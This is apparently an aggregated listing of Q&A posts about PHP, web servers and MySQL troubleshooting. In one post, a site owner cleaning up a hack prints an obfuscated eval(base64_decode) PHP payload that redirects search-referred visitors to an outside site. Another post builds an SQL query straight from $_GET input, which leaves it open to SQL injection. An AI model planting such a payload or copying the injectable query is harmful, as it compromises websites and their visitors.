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  • Error message: sudo: mysql_secure_installation: command not found

    - by Craig
    I'm trying to learn PHP and I'm just in the process of installing apache,msql and PHP. I'm on a mac osx 10.7.2 Processor 2.26 GHz intel core 2 due I downloaded: mysql-5.5.18-osx10.6-x86_64.dmg I'm now at the point of setting the root password and when I type in: sudo: mysql_secure_installation it asks me to enter my password, then it says: sudo: mysql_secure_installation: command not found Any help would be appreciated. Thanks

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  • Broken pipe on nginx

    - by schneck
    Hi there, I set up php/fastcgi with nginx and now I want to upload very large files via a java-applet. After about 30 seconds, the applet reports a "Broken pipe". In the server logs, i find nothing. I changed any setting in the php.ini (max_execution_time, max_input_time, memory_limit, post_max_size) to very high values, but nothing helps. Any idea?

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  • Getting SEC to only monitor latest version of a log file?

    - by user439407
    I have been tasked with running SEC to help correlate PHP logs. The basic setup is pretty straightforward, the problem I'm having is that we want to monitor a log file whose name contains the date(php-2012-10-01.log for instance). How can I tell SEC to only monitor the latest version of the file(and of course switch to the newest log file every day at midnight) I could do something like create a latest version of the file that links to the latest version and run a cron job at midnight to update the link, but I am looking for a more elegant solution

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  • apache high system CPU time

    - by jperelli
    I have a web server: ubuntu apache+php app+postgresql and a stats server: ubuntu apache+php - piwik and munin2 installed. The communication for munin2 is made through ssh. In munin i see a lot of system cpu activity, that I assume it it because of apache (i see 5 or 6 apache instances using ~5% CPU on top) I was not having this system CPU activity before. Does anyone knows how can I see where that comes from? EDIT: some munin graphs

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  • converting apache rewrite rules to nginx

    - by Muktadir Miah
    Hello everyone, I am trying to create a UDID protected Cydia Repo but I cannot use it on nginx because of nginx does not use the .htaccess file. The file certain rewrite rules to make it run. Here are a copy of the Repo: https://github.com/ic0nic/UDID-repo Below is a copy of the .htaccess file. RewriteEngine On RewriteBase /your_repo_folder/ RewriteRule ^(Release)$ release.php RewriteRule ^(Packages.*)$ package.php

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  • How to make phpMyAdmin ask for my username and password

    - by anitha
    I am using rhel 5 and php 5 with mysql 5. My server is already configured and running all applications smoothly. I am accessing mysql as root and supplying my password. However, when I access phpmyadmin through browser, it is not asking for my password. Somebody please tell me how can I set it to prompt for username and password. Since I am not familiar with php and mysql please tell me how to do it in simple way.

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  • Lighttpd Prepending Strings to Certain Files.

    - by Kyle
    I have a Mint install (Fantastic stats, if you were wondering) and I would like to move over to Lighttpd for my server needs. Unfortunatly, this means that php_auto_prepend is no longer easily available. I understand that PHP can do this in the php.ini file, but I have areas that can't have this value prepended so that's out of the question. Is there a lighttpd way to prepend my script for my mint install in some files, and have it disabled for others?

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  • Is WAMP installed to use mod_php?

    - by MrXexxed
    Really simple question, I'm completely confused about whether the 'default' state for php to run in is as a part of apache, until today I thought php was a separate program which apache communicated with. So is WAMP installed as mod_php?

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  • is Drupal good business POS [on hold]

    - by mavili
    I've got to work on a POS-type web application for a money transfer, shipping, and other customer services like translation and help-out charges. I was planning to do that in pure PHP without frameworks or CMS's, but then Drupal came into play and I'm wondering if I should learn Drupal and do the app with it. My question is, is Drupal good for such a work, and if it is will it take me more than a week to learn enough to make it possible? For info, I'm a decent PHP programmer.

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  • "Trop travailler est stupide", un développeur estime qu'après 40 heures de travail, les programmeurs ajoutent plus de bugs que de fonctions

    « Trop travailler est stupide » un développeur estime qu'après 40 heures de travail par semaine, les programmeurs ajoutent plus de bugs que de fonctionnalités dans le code« Working Too Much Is Stupid », titre Matt Rogish, un développeur et coach d'entreprise dans un billet de blog.Pour lui, le principe suivant lequel le rendement est meilleur lorsqu'on accumule d'importantes heures de travail par semaine prôné par les entreprises est tout bonnement ridicule dans le domaine de la programmation.Cela peut encore marcher « pour une activité répétitive et de méthodologique comme la maçonnerie », estime Rogish, ou vous pouvez travailler pendant des heures et voir le mur se construire rapidement...

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  • setting up eclim to support php

    - by tipu
    i have the plugin pdt installed with my eclim using: DISPLAY=:1 ./eclipse/eclipse -nosplash -consolelog -debug \ -application org.eclipse.equinox.p2.director \ -repository http://download.eclipse.org/releases/helios \ -installIU org.eclipse.php.feature.group i compiled the thing using dargs for php: ant -Declipse.home=/home/tipu/downloads/eclipse -Dplugins=php but creating a project gives me: java.lang.IllegalArgumentException: Unable to find nature for alias 'php'. Supported aliases include: javascript=org.eclipse. wst.jsdt.core.jsNature, java=org.eclipse.jdt.core.javanature while executing command (port: 9091): -editor vim -command project_create -f "/home/tipu/phpproj2/" -n php thoughts on how to fix?

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  • OSX Snow Leopard - Multiple httpd/apache instances for PHP 5.2 & 5.3 together

    - by iongion
    I need to run Apache with both php 5.2 and 5.3, without other webservers such as nginx, lighttpd, etc. Just Apache HTTPD. The easiest way to have both PHP 5.2 and PHP 5.3 on Apache, on the same machine, is to have them run in different webservers (or at least different webserver instances). I already do this on windows, it works flawlessly because it is easy to specify the conf file that a specific instance loads. But how can this be achieved on Mac OSX, without ditching the web server that OSX comes with built in ? The basic is to create N-ip addresses that each apache instance will bind to, for example: 192.168.0.52 - This is for apache httpd with PHP 5.2 192.168.0.53 - This is for apache httpd with PHP 5.3 (each apache will bind to its own ip address) On OSX, i don't know how to configure HTTPD to start as multiple service/daemon, with different startup httpd.conf files!

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  • nginx: try_files not finding static files, falling back to PHP

    - by Wells Oliver
    Relevant configuration: location /myapp { root /home/me/myapp/www; try_files $uri $uri/ /myapp/index.php?url=$uri&$args; location ~ \.php { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include /etc/nginx/fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root/index.php; } } I absolutely have a file foo.html in /home/me/myapp/www but when I browse to /myapp/foo.html it is handled by PHP, the final fallback in the try_files list. Why is this happening?

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  • PHP 5.2 installation with GD on CentOS 6

    - by Pratik Thakkar
    I am trying to install PHP 5.2.17 on CentOS 6.2. I have downloaded RPMs from http://www6.atomicorp.com/channels/atomic/centos/6/i386/RPMs/ Problem is that the PHP RPM seems to have GD disabled by default. Hence in spite installing php-gd RPM, GD is disabled. Is there any way that I can enable GD. Atomicorp seems to be the only website that has PHP 5.2.17 RPMs. I am not an advanced user to be able to compile PHP. I would appreciate help on this.

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  • grep, xargs, sed to clean up PHP eval hack

    - by roktechie
    I'm attempting to use the commands found on http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ to clean up a PHP eval based hack on a site. Sample code to match/remove <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); Attempted command: sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' The sudo has been added as it is required to have permission to read/write on the dir I'm accessing. The files list properly from grep, but are not changed by sed. Any suggestions?

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  • flickr phpflickr api

    - by sea_1987
    Overview I am trying to get a photo feed on to my site using Flickr's api and the phpflickr library. I can successfully get the photoset on to my site, but it shows all the photos from every photoset, what I was hoping to achieve was to show the primary photo from each photoset, and then if the user clicked on the image it would show the full photoset in a lightbox/shadowbox. My Code <div id="images" class="tabnav"> <ul class="items"> <?php $count = 1; ?> <?php foreach ($photosets['photoset'] as $ph_set): ?> <?php $parentID = $ph_set['parent']; ?> <?php $photoset_id = $ph_set['id']; $photos = $f->photosets_getPhotos($photoset_id); foreach ($photos['photoset']['photo'] as $photo): ?> <li> <a rel="shadowbox['<?=$count;?>']" href="<?= $f->buildPhotoURL($photo, 'medium') ?>" title="<?= $photo['title'] ?>"> <img src="<?= $f->buildPhotoURL($photo, 'rectangle') ?>" alt="<?= $photo['title'] ?>" width="210" height="160" title="<?= $photo['title'] ?>" /> <h3><?=$ph_set['title']?></h3> <p><?=$ph_set['description'];?></p> </a> </li> <?php endforeach; ?> <?php $count++; ?> <?php endforeach; ?> </ul> </div> Another Attempt I have also tried calling the getPhotos function differently, instead of sending it without any parameters I sent it with parameters $photos = $f->photosets_getPhotos($photoset_id, NULL, NULL, 1, NULL); The above code stopped the showing all the photos from each photoset and started showing just the primary image, but it also stopped making the rest of the photos accesible to me. Is there something I can do to make this work? I am totally out iof ideas. Regards and thanks

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  • CakePHP Help with Blog Tutorial

    - by Cameron
    I've just been following the tutorial on the CakePHP website to create a simple Blog as a way to learn a bit about Cake. However I have run into an error and not sure why as I have followed exactly what the tutorial says. The errors: Notice (8): Undefined property: View::$Html [APP/views/posts/index.ctp, line 17] Fatal error: Call to a member function link() on a non-object in /Users/cameron/Sites/dentist/app/views/posts/index.ctp on line 17 Here is my posts_controller <?php class PostsController extends AppController { var $helpers = array('Html', 'Form'); var $name = 'Posts'; function index() { $this->set('posts', $this->Post->find('all')); } function view($id = null) { $this->Post->id = $id; $this->set('post', $this->Post->read()); } } ?> and here is my model <?php class Post extends AppModel { var $name = 'Post'; } ?> and here are my views <!-- File: /app/views/posts/index.ctp --> <h1>Blog posts</h1> <table> <tr> <th>Id</th> <th>Title</th> <th>Created</th> </tr> <!-- Here is where we loop through our $posts array, printing out post info --> <?php foreach ($posts as $post): ?> <tr> <td><?php echo $post['Post']['id']; ?></td> <td> <?php echo $this->Html->link($post['Post']['title'], array('controller' => 'posts', 'action' => 'view', $post['Post']['id'])); ?> </td> <td><?php echo $post['Post']['created']; ?></td> </tr> <?php endforeach; ?> </table>

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  • Cannot populate form with ajax and populate jquery plugin

    - by Azriel_
    I'm trying to populate a form with jquery's populate plugin, but using $.ajax The idea is to retrieve data from my database according to the id in the links (ex of link: get_result_edit.php?id=34), reformulate it to json, return it to my page and fill up the form up with the populate plugin. But somehow i cannot get it to work. Any ideas: here's the code: $('a').click(function(){ $('#updatediv').hide('slow'); $.ajax({ type: "GET", url: "get_result_edit.php", success: function(data) { var $response=$(data); $('#form1').populate($response); } }); $('#updatediv').fadeIn('slow'); return false; whilst the php file states as follow: <?php $conn = new mysqli('localhost', 'XXXX', 'XXXXX', 'XXXXX'); @$query = 'Select * FROM news WHERE id ="'.$_GET['id'].'"'; $stmt = $conn->query($query) or die ($mysql->error()); if ($stmt) { $results = $stmt->fetch_object(); // get database data $json = json_encode($results); // convert to JSON format echo $json; } ?> Now first thing is that the mysql returns a null in this way: is there something wrong with he declaration of the sql statement in the $_GET part? Second is that even if i put a specific record to bring up, populate doesn't populate. Update: I changed the populate library with the one called "PHP jQuery helper functions" and the difference is that finally it says something. finally i get an error saying NO SUCH ELEMENT AS i wen into the library to have a look and up comes the following function function populateFormElement(form, name, value) { // check that the named element exists in the form var name = name; // handle non-php naming var element = form[name]; if(element == undefined) { debug('No such element as ' + name); return false; } // debug options if(options.debug) { _populate.elements.push(element); } } Now looking at it one can see that it should print out also the name, but its not printing it out. so i'm guessing that retrieving the name form the json is not working correctly. Link is at http://www.ocdmonline.org/michael/edit%5Fnews.php with username: Testing and pass:test123 Any ideas?

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  • change password code error.......

    - by shimaTun
    I've created a code to change a password. Now it seem contain an error. When before I fill in the form to change password.the error is: Warning: Cannot modify header information - headers already sent by (output started at C:\Program Files\xampp\htdocs\e-Complaint(FYP)\userChangePass.php:7) in C:\Program Files\xampp\htdocs\e-Complaint(FYP)\userChangePass.php on line 126 the code: <?php # userChangePass.php //this page allows logged in user to change their password. $page_title='Change Your Password'; //if no first_name variable exists, redirect the user if(!isset($_SESSION['userid'])){ header("Location: http://" .$_SERVER['HTTP_HOST']. dirname($_SERVER['PHP_SELF'])."/index.php"); ob_end_clean(); exit(); }else{ if(isset($_POST['submit'])) {//handle form. require_once('connectioncomplaint.php'); //connec to the database //check for a new password and match againts the confirmed password. if(eregi ("^[[:alnum:]]{4,20}$", stripslashes(trim($_POST['password1'])))){ if($_POST['password1'] == $_POST['password2']){ $p =escape_data($_POST['password1']); }else{ $p=FALSE; echo'<p><font color="red" size="+1"> Your password did not match the confirmed password!</font></p>'; } }else{ $p=FALSE; echo'<p><font color="red" size="+1"> Please Enter a valid password!</font></p>'; } if($p){ //if everything OK. //make the query $query="UPDATE access SET password=PASSWORD('$p') WHERE userid={$_SESSION['userid']}"; $result=@mysql_query($query);//run the query. if(mysql_affected_rows() == 1) {//if it run ok. //send an email,if desired. echo '<p><b>your password has been changed.</b></p>'; //include('templates/footer.inc');//include the HTML footer. exit(); }else{//if it did not run ok $message= '<p>Your password could not be change due to a system error.We apolpgize for any inconvenience.</p><p>' .mysql_error() .'</p>'; } mysql_close();//close the database connection. }else{//failed the validation test. echo '<p><font color="red" size="+1"> Please try again.</font></p>'; } }//end of the main Submit conditional. } ?> the error at this line:- header("Location: http://" .$_SERVER['HTTP_HOST']. dirname($_SERVER['PHP_SELF'])."/index.php"); please help me guy...

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  • Display label character by character using javascript

    - by Muhammad Sajid
    Hi, I am creating Hang a Man using PHP, MySQL & Javascript. Every thing is going perfect, I get a word randomly from DB show it as a label apply it a class where display = none. Now when I click on a Character that character become disable fine which i actually want but the label-character does not show. My code is: <link href="style.css" rel="stylesheet" type="text/css" media="screen" /> <?php include( 'config.php' ); $question = questions(); // Get question. $alpha = alphabats(); // Get alphabets. ?> <script language="javascript"> function clickMe( name ){ var question = '<?php echo $question; ?>'; var questionLen = <?php echo strlen($question); ?>; for ( var i = 0; i < questionLen; i++ ){ if ( question[i] == name ){ var link = document.getElementById( name ); link.style.display = 'none'; var label = document.getElementById( 'questionLabel' + i ); label.style.display = 'block'; } } } </script> <div> <table align="center" style="border:solid 1px"> <tr> <?php for ( $i = 0; $i < 26; $i++ ) { echo "<td><a href='#' id=$alpha[$i] name=$alpha[$i] onclick=clickMe('$alpha[$i]');>". $alpha[$i] ."</a>&nbsp;</td>"; } ?> </tr> </table> <br/> <table align="center" style="border:solid 1px"> <tr> <?php for ( $i = 0; $i < strlen($question); $i++ ) { echo "<td class='question'><label id=questionLabel$i >". $question[$i] ."</label></td>"; } ?> </tr> </table> </div>

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  • Display lable character by character using javascript

    - by Muhammad Sajid
    Hi, I am creating Hang a Man using PHP, MySQL & Javascript. Every thing is going perfect, I get a word randomly from DB show it as a label apply it a class where display = none. Now when I click on a Character that character become disable fine which i actually want but the label-character does not show. My code is: <link href="style.css" rel="stylesheet" type="text/css" media="screen" /> <?php include( 'config.php' ); $question = questions(); // Get question. $alpha = alphabats(); // Get alphabets. ?> <script language="javascript"> function clickMe( name ){ var question = '<?php echo $question; ?>'; var questionLen = <?php echo strlen($question); ?>; for ( var i = 0; i < questionLen; i++ ){ if ( question[i] == name ){ var link = document.getElementById( name ); link.style.display = 'none'; var label = document.getElementById( 'questionLabel' + i ); label.style.display = 'none'; } } } </script> <div> <table align="center" style="border:solid 1px"> <tr> <?php for ( $i = 0; $i < 26; $i++ ) { echo "<td><a href='#' id=$alpha[$i] name=$alpha[$i] onclick=clickMe('$alpha[$i]');>". $alpha[$i] ."</a>&nbsp;</td>"; } ?> </tr> </table> <br/> <table align="center" style="border:solid 1px"> <tr> <?php for ( $i = 0; $i < strlen($question); $i++ ) { echo "<td class='question'><label id=questionLabel$i >". $question[$i] ."</label></td>"; } ?> </tr> </table> </div>

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